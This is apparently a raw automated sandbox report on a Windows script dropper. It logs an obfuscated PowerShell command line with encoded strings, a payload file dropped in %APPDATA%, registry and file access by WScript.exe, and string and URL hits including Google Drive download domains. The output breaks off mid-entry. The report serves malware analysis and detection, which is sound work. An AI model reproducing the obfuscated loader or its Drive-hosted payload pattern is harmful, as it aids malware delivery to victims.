Spawned process "powershell.exe" with commandline ""mp 'qurushes' 'friedes' 'bulgarerne';$mulcts=4;$habil=55;funct ..." (UID: 00000000-00006400, Additional Context: "function $anapsters('sammendrages exacerbating Damned Cispontine Conscriptio MMM[####iHHHHn !!!tVVVV] ppp$kkkkz****o gggokkkkp x xr WWWahhhhxCCCCi XXXs SSSc kkkoiiiip DDDeCCCC ___-kkkkbRRRRx') $tegns$mulcts+$habildo $afbag+$rsonneret[$tegns] ($outfooling)For($tegns0 ($relaksationernes)if 'dgILBhEVCUgHBTMLAxoHGxVPQQE8E0IAwQBExEFeUEVDAcaDBwCFz4MCQAWBw' 'OhETGQBOSl0BFjsTAkcUGwoVCQF8BggEXAEGTQAcIgoVHU4QCgULCD0EA08aEFhDAFwnXQAkRDwAOz8PMEgTESQkKhURBhoWBQAfJg9HEwo'$modregnet[0] (( 'dgILBhEVCUgXASAMABpOOgAFSCswDwIKBQrFxFKBQAFKh8dABwR')) 'dhcCGxoTFlwtATMBAhsALz48ABB8LRMdAyYAAxABIREvDBIQAAA4UGI4Wk0eFR0bCBdkUw' 'dgILBhEVCUgqEjcXFAISBlhWERYnAA' 'dhcCGxoTFlxBCisIBhsLHRYfAAp8LAkfHB8AWkEBNhAGGxdYQRQKESAEAAwBHQsVAAp7' 'AQkCDANcUVs' 'dgILBhEVCUgJCzkKCgYHHRMXFwo3WEMOHxsHEwleOQoJGgcGEBkRDT0LFAAdBxEbEREmABUHFl9OV0EJPQEVDBQaAAZLBz0QCR0' 'OhETGQBOSl0BFjsTAkcUGwoVCQF8BggEXAEGTQAcIgoVHU4QCgULCD0EA08aEFhDAFwnXQAkRDwAOz8PMEgTESQkKhURBhoWBQAfJg9HEwo'$modregnet[$lokomotiverne]}$forskningsomraadet306664 'dgILBhEVCUgEBzsBEhsaFVgVBkR2AwgcARUCFxcNPAICBw' 'dgILBhEVCUg2Dz0TEQYUGgAcFlkJJggHBREXBjheaCMVBh42BAEAUmY2ExsaGgJaQQUxDAMcAR0EWw' 'dgILBhEVCUgAHCYHCAYYST4mABwmSyIHEBsBGwsDD9dKCA3LDtLIzcRNB0BHQsVTUABDggfBRsCHAAKIUw' 'dgILBhEVCUgDBTwRBhoeERdPQQEqEQUGHB9LARAGIREVAB0TTVYDCyAWDAcaGgIBCgkgBAYNFgBWQklAJgwKBBwHTA' $fantasmer;")3d:T7ca,Found string "Add-Content" (Indicator: "Add-Content"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Import-Alias" (Indicator: "Import-Alias"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Import-Csv" (Indicator: "Import-Csv"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "New-Alias" (Indicator: "New-Alias"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "New-PSDrive" (Indicator: "New-PSDrive"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "New-Variable" (Indicator: "New-Variable"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "New-Module" (Indicator: "New-Module"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Add-PSSnapIn" (Indicator: "Add-PSSnapIn"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Add-History" (Indicator: "Add-History"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "New-ModuleManifest" (Indicator: "New-ModuleManifest"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "New-PSRoleCapabilityFile" (Indicator: "New-PSRoleCapabilityFile"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "New-PSTransportOption" (Indicator: "New-PSTransportOption"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Register-ArgumentCompleter" (Indicator: "Register-ArgumentCompleter"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Add-PSSnapin" (Indicator: "Add-PSSnapIn"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "function New-Guid" (Indicator: "New-Guid"; Source: "00000000-00006400.00000001.148995.08990000.00000004.mdmp, 00000000-00006400.00000002.150913.08990000.00000004.mdmp")3e:T40d,"Portefljeteoriernes.Mic" has type "ASCII text with very long lines (65536) with no line terminators"- Location: [%APPDATA%\Portefljeteoriernes.Mic]- [targetUID: 00000000-00007432] "77EC63BDA74BD0D0E0426DC8F8008506" has type "Microsoft Cabinet archive data Windows 2000/XP setup 75346 bytes 1 file at 0x2c last modified Apr 21 2026 17:37:04 +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00006820] "ModuleAnalysisCache" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00007432] "77EC63BDA74BD0D0E0426DC8F8008506" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00006820] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00007432]3f:Tc96,"WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\crypt32" (Filter: 268435460; Subtree: 0) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\Root" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\FlightRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Trust" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\CA" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\WinSock2\Parameters\Protocol_Catalog9" (Filter: 1; Subtree: 0)40:T4f8,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS NT\DNSCLIENT"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEM\DNSCLIENT"; Key: ""; Value: "")41:T74e,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "")42:T504,"powershell.exe" trying to access file "C:\Windows\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access file "C:\Users\%OSUSER%\Documents\WINDOWSPOWERSHELL\PROFILE.PS1" "powershell.exe" trying to access file "C:\Users\%OSUSER%\Documents\WINDOWSPOWERSHELL\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access file "%WINDIR%\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access file "%WINDIR%\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access file "%USERPROFILE%\Documents\WINDOWSPOWERSHELL\PROFILE.PS1" "powershell.exe" trying to access file "%USERPROFILE%\Documents\WINDOWSPOWERSHELL\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access file "%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access file "%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1"43:Tad8,"WScript.exe" trying to access non-existent file "C:\Windows\System32\wbem\WBEMCOMN.DLL" "WScript.exe" trying to access non-existent file "C:\WINDOWS\system32\wbem\wbemcomn.dll" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SLC.DLL" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\SLC.dll" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SPPC.DLL" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\sppc.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll"44:Ta25,"WScript.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "WScript.exe" trying to access non-existent file "\DEVICE\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}" "WScript.exe" trying to access non-existent file "\DEVICE\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}" "WScript.exe" trying to access non-existent file "\Device\RasAcd" "WScript.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:ZONE.IDENTIFIER" "WScript.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:Zone.Identifier" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML"45:T683,"2.5.29.35" "2.5.29.37" "192.168.0.2" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" "2.5.29.15" "2.5.29.31" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.19" "2.5.29.32" "2.5.29.14" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.17" "3.0.0.0" "1.1.0.1" "2.5.29.1" "2.5.29.10" "2.5.4.3" "1.3.6.1" "2.5.29.16" "2.5.4.6" "2.5.4.8" "2.5.4.7" "2.5.4.11" "2.5.4.10" "2.5.4.5" Potential IP "1.0.0.0" found in string ":\program files (x86)\windowspowershell\modules\packagemanagement\1.0.0.0\packagemanageZ" Potential IP "1.0.0.1" found in string "les (x86)\windowspowershell\modules\packagemanagement\1.0.0.1\packagemanagement.psd1" Potential IP "1.0.0.0" found in string ":\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.localaccounts\1.0.0.0\microsoft.powershell.localaccounts.psd1" Potential IP "1.0.0.1" found in string "??\C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1" Potential IP "1.0.0.0" found in string "??\C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.psd1" Potential IP "1.0.0.0" found in string "??\c:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.localaccounts\1.0.0.0\microsoft.powershell.localaccounts.psd1" Potential IP "1.0.0.1" found in string "??\c:\program files (x86)\windowspowershell\modules\packagemanagement\1.0.0.1\packagemanagement.psd1"46:T1c73,Heuristic match: "arvesttime palaeopsychic: formaaederem kalkvrkerne: dopsitummer hormic. artighederne121! histidins tretaarnede scallionrem mangedoblet opsamlingsvinduet diskbetegnelser eftertak rateably130 zaddickim! hedeblgens: dosmersedlers73, videotekrem lovbundnes: sa" Heuristic match: "impulsion youthiness29:rem melancholious strepitoso undertiden simultantolken: lvemund; weekendfngsel debutkamp, diadematoida ebrious?rem chefpiloten kredset skinnebruddenes; vatikans? sixmo decoders: propolisernes179?rem tomaters189, moeble. besvegnes: ar" Heuristic match: "drive.google.com" Heuristic match: "drive.usercontent.google.com" Pattern match: "https://drive.userco" Heuristic match: "mscorlib.ni" Pattern match: "microsoft.net/framework/v4.0.30319/" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "microsoft.net/assembly/gac_msil/system.management.automation/v4.0_3.0.0.0__31bf3856ad364e35/system.management.automation.dll" Heuristic match: "r2/m.mr" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Heuristic match: "u.com" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Heuristic match: "15.cat" Pattern match: "www.digicert.com1$0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Heuristic match: "up.lu" Pattern match: "http://www.microsoft.com/windows" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "http://schemas.microsoft.com/powershell/microsoft.powershell" Heuristic match: "set-location $myinvocation.mycommand.name" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225750" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225747" Heuristic match: "get-content $file | more.com" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113316" Pattern match: "https://go.microsoft.com/fwlink/?linkid=160712" Pattern match: "microsoft.net/assembly/gac_msil/microsoft.powershell.consolehost/v4.0_3.0.0.0__31bf3856ad364e35/microsoft.powershell.consolehost.dll" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid" Pattern match: "http://www.w3.org/2001/xmlschema#string" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" Heuristic match: "12~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Heuristic match: ":\windows\microsoft.net" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "www.digicert.com1" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "t.com/pe" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "http://www.microsoft.com0" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Heuristic match: "9.15.cat" Heuristic match: "em.io.fi" Pattern match: "crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0x" Pattern match: "http://www.microsoft.com/pki/certs/microsofttimestamppca.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0" Heuristic match: "c`.es" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "http://www.microsoft.com/powershell" Heuristic match: "pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.ws" Pattern match: "https://go.microsoft.com/fwlink/?linkid=517145" Pattern match: "https://go.microsoft.com/fwlink/?linkid=526920" Pattern match: "https://go.microsoft.com/fwlink/?linkid=526919" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-5k+'3" Heuristic match: "cim_operatingsystem.name"47:Tba0e,Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006400.00000000.147073.00520000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006400.00000000.147073.00520000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006400.00000000.147073.00520000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006400.00000000.147073.00520000.00000004.mdmp") Found URL 